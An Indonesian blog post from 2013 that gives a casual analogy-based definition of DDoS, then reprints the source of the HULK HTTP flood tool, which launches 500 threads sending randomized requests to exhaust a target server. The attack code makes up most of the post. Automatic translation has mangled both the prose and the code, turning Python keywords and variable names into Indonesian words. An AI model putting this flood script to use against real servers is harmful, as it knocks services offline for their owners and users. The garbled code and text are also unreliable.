CSS

Saturday, January 5, 2013

DDoS attact


Disini gw cuman pengen nyoba nulis definisi ala gue aja, kalo pengen lengkap soal definisiserangan DDoS inisial silahkan Bisa baca di wiki
Kalo ADA orangutan nanya Ke gue ? Appan sih tuh serangan DDoS  (karna gw Bukan ahlinya) gw cuman Bisa Bilang:
DDos serangan ITU mirip kaya Antrian orangutan Yang mau nonton bola diStadion. SAAT ribuan orangutan Yang dateng secara bersamaan Dan semuanya Punya tujuan Yang sama yaitu mengakses pitu Gerbang stadion buat nonton bola, SEMENTARA ITU Gerbang stadion cuman sekitar 10meter lebarnya Dan tentu Saja kapasitas stadion ITU JUGA pastinya Terbatas,, APA Yang terjadi?
DDoS = Distributed Denial of Service = Penolakan Pendistribusian LAYANAN * Mencegah / menghalangi orangutan Lain Yang Ingin mengakses server / sistem Yang menjadi sasaran. Beberapa ADA Yang pake perangkat lunak berbahaya  (perangkat lunak berbahaya) TAPI Yang memucat UMUM sih biasanya Artikel Baru ngirimin Lalu Lintas-lintas Sampah Ke server / sistem target Artikel Baru tujuan memaksa server / sistem target me-reset/restart karena kelebihan traffic atau menjadi lambat / lemot SAAT di -akses bahkan sampe gagal  (hang / nge-lag) .

HULK (Http Raja Beban tak tertahankan)

  • Alat ini adalah alat dos yang dimaksudkan untuk menempatkan beban berat pada server HTTP untuk membawa mereka ke lutut mereka dengan melelahkan kolam sumber daya, yang dimaksudkan untuk tujuan penelitian saja dan setiap penggunaan berbahaya dari alat ini dilarang.
  • Penulis: Barry Shteiman, versi 1.0
impor urllib2
import sys
mengimpor threading
mengimpor random
mengimpor kembali

# Global params
url =''
host =''
headers_useragents = []
headers_referers = []
request_counter = 0
flag = 0
safe = 0

def inc_counter ():
 global yang request_counter
 request_counter + = 1

def set_flag (val):
 global yang flag
 flag = val

def set_safe ():
 global yang aman
 safe = 1
 
# Menghasilkan array user agent
def useragent_list ():
 global yang headers_useragents
 headers_useragents.append ('Mozilla/5.0 (X11, U; x86_64 Linux, en-US; rv: 1.9.1.3) Gecko/20090913 Firefox/3.5.3')
 headers_useragents.append ('Mozilla/5.0 (Windows; U; Windows NT 6.1, en, rv: 1.9.1.3) Gecko/20090824 Firefox/3.5.3 (NET CLR 3.5.30729).')
 headers_useragents.append ('Mozilla/5.0 (Windows; U; Windows NT 5.2, en-US; rv: 1.9.1.3) Gecko/20090824 Firefox/3.5.3 (NET CLR 3.5.30729).')
 headers_useragents.append ('Mozilla/5.0 (Windows; U; Windows NT 6.1, en-US; rv: 1.9.1.1) Gecko/20090718 Firefox/3.5.1')
 headers_useragents.append ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, seperti Gecko) Chrome/4.0.219.6 Safari/532.1')
 headers_useragents.append ('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1, WOW64, Trident/4.0, SLCC2, CLR 2.0.50727 NET,. InfoPath.2)')
 headers_useragents.append ('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0, Trident/4.0, SLCC1, NET CLR 2.0.50727,.. NET CLR 1.1.4322;. NET CLR 3.5.30729,. CLR NET 3.0. 30.729) ')
 headers_useragents.append ('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2, Win64, x64, Trident/4.0)')
 headers_useragents.append ('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0, SV1, CLR 2.0.50727 NET,. InfoPath.2)')
 headers_useragents.append ('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0, en-US)')
 headers_useragents.append ('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
 headers_useragents.append ('Opera/9.80 (Windows NT 5.2, U; ru) Presto/2.5.22 Version/10.51')
 kembali (headers_useragents)

# Menghasilkan array referer
def referer_list ():
 global yang headers_referers
 headers_referers.append ('http://www.google.com/?q =')
 headers_referers.append ('http://www.usatoday.com/search/results?q =')
 headers_referers.append ('http://engadget.search.aol.com/search?q =')
 headers_referers.append ('http://' + tuan + '/')
 kembali (headers_referers)
 
# Membangun string ascii acak
def buildblock (ukuran):
 out_str =''
 for i in range (0, ukuran):
  a = random.randint (65, 90)
  out_str + = chr (a)
 kembali (out_str)

def penggunaan ():
 mencetak '------------------------------------------------ --- '
 print 'PEMAKAIAN: python hulk.py <url>'
 mencetak 'Anda dapat menambahkan "aman" setelah url, untuk autoshut setelah dos'
 mencetak '------------------------------------------------ --- '

 
# Http request
def httpcall (url):
 useragent_list ()
 referer_list ()
 kode = 0
 jika url.count ("?")> 0:
  param_joiner = "&"
 lain:
  param_joiner = "?"
 request = urllib2.Request (url + + param_joiner buildblock (random.randint (3,10)) + '=' + buildblock (random.randint (3,10)))
 request.add_header ('User-Agent', random.choice (headers_useragents))
 request.add_header ('Cache-Control', 'no cache')
 request.add_header ('Terima-Charset', 'ISO-8859-1, utf-8, q = 0,7, *, q = 0,7')
 request.add_header ('Referer', random.choice (headers_referers) + buildblock (random.randint (5,10)))
 request.add_header ('Keep-Alive', random.randint (110.120))
 request.add_header ('Connection', 'terus-hidup')
 request.add_header ('Host', tuan rumah)
 coba:
   urllib2.urlopen (permintaan)
 kecuali urllib2.HTTPError, e:
   # Mencetak e.code
   set_flag (1)
   print 'Respon Kode 500'
   Kode = 500
 kecuali urllib2.URLError, e:
   # Mencetak e.reason
   sys.exit ()
 lain:
   inc_counter ()
   urllib2.urlopen (permintaan)
 kembali (code)  

 
# Http pemanggil benang 
Kelas HTTPThread (threading.Thread):
 def run (self):
  coba:
   sementara bendera <2:
    kode = httpcall (url)
    if (kode == 500) & (safe == 1):
     set_flag (2)
  kecuali Exception, ex:
   lulus

# Memantau benang http dan permintaan jumlah
Kelas MonitorThread (threading.Thread):
 def run (self):
  sebelumnya = request_counter
  sementara bendera == 0:
   if (+100 sebelumnya <request_counter) & (sebelumnya <> request_counter):
    print "% d Permintaan Terkirim"% (request_counter)
    sebelumnya = request_counter
  jika bendera == 2:
   print "\ n - Serangan HULK Selesai -"

# Mengeksekusi 
jika len (sys.argv) <2:
 penggunaan ()
 sys.exit ()
lain:
 jika sys.argv [1] == "help":
  penggunaan ()
  sys.exit ()
 lain:
  print "- Serangan HULK Memulai -"
  jika len (sys.argv) == 3:
   jika sys.argv [2] == "aman":
    set_safe ()
  url = sys.argv [1]
  jika url.count ("/") == 2:
   url = url + "/"
  m = re.search ('http \ :/ / ([^ /] *) /?. *', url)
  host = m.group (1)
  for i in range (500):
   t = HTTPThread ()
   t.start ()
  t = MonitorThread ()
  t.start ()

No comments:

handapeunpost